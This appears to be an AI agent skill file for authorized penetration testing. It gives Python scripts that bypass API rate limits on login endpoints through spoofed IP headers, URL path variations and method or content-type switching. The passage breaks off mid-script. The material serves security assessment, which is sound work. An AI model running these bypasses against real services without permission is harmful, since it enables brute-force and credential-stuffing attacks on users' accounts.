performing-api-rate-limiting-bypass

What this skill does

# Performing API Rate Limiting Bypass

## When to Use

- Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints
- Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration
- Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats
- Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation
- Validating that rate limits protect against resource exhaustion and denial-of-service conditions

**Do not use** without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability.

## Prerequisites

- Written authorization specifying target endpoints and acceptable request volumes
- Python 3.10+ with `requests`, `aiohttp`, and `asyncio` libraries
- Burp Suite Professional with Turbo Intruder extension for high-speed testing
- cURL for manual header manipulation testing
- Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai)
- List of rate-limit bypass headers to test

## Workflow

### Step 1: Rate Limit Discovery and Baseline

Identify how rate limiting is implemented:

```python
import requests
import time

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# Send requests and track rate limit headers
def probe_rate_limit(endpoint, method="GET", count=100):
    results = []
    for i in range(count):
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers)
        rate_headers = {
            "limit": resp.headers.get("X-RateLimit-Limit") or resp.headers.get("X-Rate-Limit-Limit"),
            "remaining": resp.headers.get("X-RateLimit-Remaining") or resp.headers.get("X-Rate-Limit-Remaining"),
            "reset": resp.headers.get("X-RateLimit-Reset") or resp.headers.get("X-Rate-Limit-Reset"),
            "retry_after": resp.headers.get("Retry-After"),
            "status": resp.status_code
        }
        results.append(rate_headers)
        if resp.status_code == 429:
            print(f"Rate limited at request {i+1}: {rate_headers}")
            return results, i+1
        time.sleep(0.05)  # Small delay to avoid connection issues
    print(f"No rate limit triggered after {count} requests")
    return results, count

# Test key endpoints
login_results, login_threshold = probe_rate_limit("/auth/login", "POST", 200)
api_results, api_threshold = probe_rate_limit("/users/me", "GET", 200)
search_results, search_threshold = probe_rate_limit("/search?q=test", "GET", 200)

print(f"\nRate Limit Summary:")
print(f"  Login: Triggered at request {login_threshold}")
print(f"  API: Triggered at request {api_threshold}")
print(f"  Search: Triggered at request {search_threshold}")
```

### Step 2: IP-Based Bypass Techniques

```python
# Bypass Technique 1: Header-based IP spoofing
IP_SPOOFING_HEADERS = [
    "X-Forwarded-For",
    "X-Real-IP",
    "X-Original-Forwarded-For",
    "X-Originating-IP",
    "X-Remote-IP",
    "X-Remote-Addr",
    "X-Client-IP",
    "X-Host",
    "X-Forwarded-Host",
    "True-Client-IP",
    "Cluster-Client-IP",
    "X-ProxyUser-Ip",
    "Forwarded",
    "CF-Connecting-IP",
    "Fastly-Client-IP",
    "X-Azure-ClientIP",
    "X-Akamai-Client-IP",
]

def test_ip_spoofing_bypass(endpoint, method="POST", body=None):
    """Test if IP spoofing headers bypass rate limiting."""
    # First, trigger the rate limit normally
    for i in range(200):
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=body)
        if resp.status_code == 429:
            print(f"Rate limit triggered at request {i+1}")
            break

    # Now test each spoofing header
    bypasses_found = []
    for header in IP_SPOOFING_HEADERS:
        spoofed_headers = {**headers, header: f"10.0.{i%256}.{(i*7)%256}"}
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=spoofed_headers, json=body)
        if resp.status_code != 429:
            bypasses_found.append(header)
            print(f"[BYPASS] {header} -> {resp.status_code}")

    return bypasses_found

login_body = {"username": "[email protected]", "password": "wrongpassword"}
bypasses = test_ip_spoofing_bypass("/auth/login", "POST", login_body)
```

### Step 3: Endpoint Variation Bypass

```python
# Bypass Technique 2: URL path variation
def test_path_variation_bypass(base_endpoint, token):
    """Test if path variations bypass rate limit tied to specific endpoint."""
    variations = [
        base_endpoint,                          # /api/v1/auth/login
        base_endpoint + "/",                    # /api/v1/auth/login/
        base_endpoint.upper(),                  # /API/V1/AUTH/LOGIN
        base_endpoint + "?dummy=1",             # /api/v1/auth/login?dummy=1
        base_endpoint + "#fragment",            # /api/v1/auth/login#fragment
        base_endpoint + "%20",                  # /api/v1/auth/login%20
        base_endpoint + "/..",                  # /api/v1/auth/login/..
        base_endpoint.replace("/v1/", "/v2/"),  # /api/v2/auth/login
        base_endpoint + ";",                    # /api/v1/auth/login;
        base_endpoint + "\t",                   # Tab character
        base_endpoint + "%00",                  # Null byte
        base_endpoint + "..;/",                 # Spring path traversal
    ]

    # Trigger rate limit on original endpoint first
    for i in range(200):
        resp = requests.post(f"{BASE_URL}{base_endpoint}",
                           headers={"Authorization": f"Bearer {token}"},
                           json={"username": "test", "password": "wrong"})
        if resp.status_code == 429:
            break

    # Test variations
    for variant in variations:
        try:
            resp = requests.post(f"{BASE_URL}{variant}",
                               headers={"Authorization": f"Bearer {token}"},
                               json={"username": "test", "password": "wrong"})
            if resp.status_code != 429:
                print(f"[BYPASS] Path variation: {variant} -> {resp.status_code}")
        except Exception:
            pass

test_path_variation_bypass("/auth/login", "<token>")
```

### Step 4: HTTP Method and Content-Type Bypass

```python
# Bypass Technique 3: Method and content-type switching
def test_method_bypass(endpoint, original_body):
    """Test if rate limit is method-specific."""
    methods_to_test = ["POST", "PUT", "PATCH", "GET", "OPTIONS"]

    content_types = [
        "application/json",
        "application/x-www-form-urlencoded",
        "multipart/form-data",
        "text/plain",
        "application/xml",
        "text/xml",
    ]

    # Trigger rate limit with POST + application/json
    for i in range(200):
        resp = requests.post(f"{BASE_URL}{endpoint}",
                           headers={**headers, "Content-Type": "application/json"},
                           json=original_body)
        if resp.status_code == 429:
            break

    # Test other methods
    for method in methods_to_test:
        if method == "POST":
            continue
        resp = requests.request(method, f"{BASE_URL}{endpoint}",
                              headers=headers, json=original_body)
        if resp.status_code not in (429, 405):
            print(f"[BYPASS] Method switch to {method}: {resp.status_code}")

    # Test other content types
    for ct in content_types:
        if ct == "application/json":
            continue
        test_headers = {**headers, "Content-Type": ct}
        if ct == "application/x-www-form-urlencoded":
            data = "&".join(f"{k}={v}" for k, v in original_body.items())
            resp = requests.post(f"{BASE_URL}{endpoint}", headers=test_headers, data=data)
        else:
            resp = requests.post(f"{BASE_URL}{endpoint}", headers=test_headers,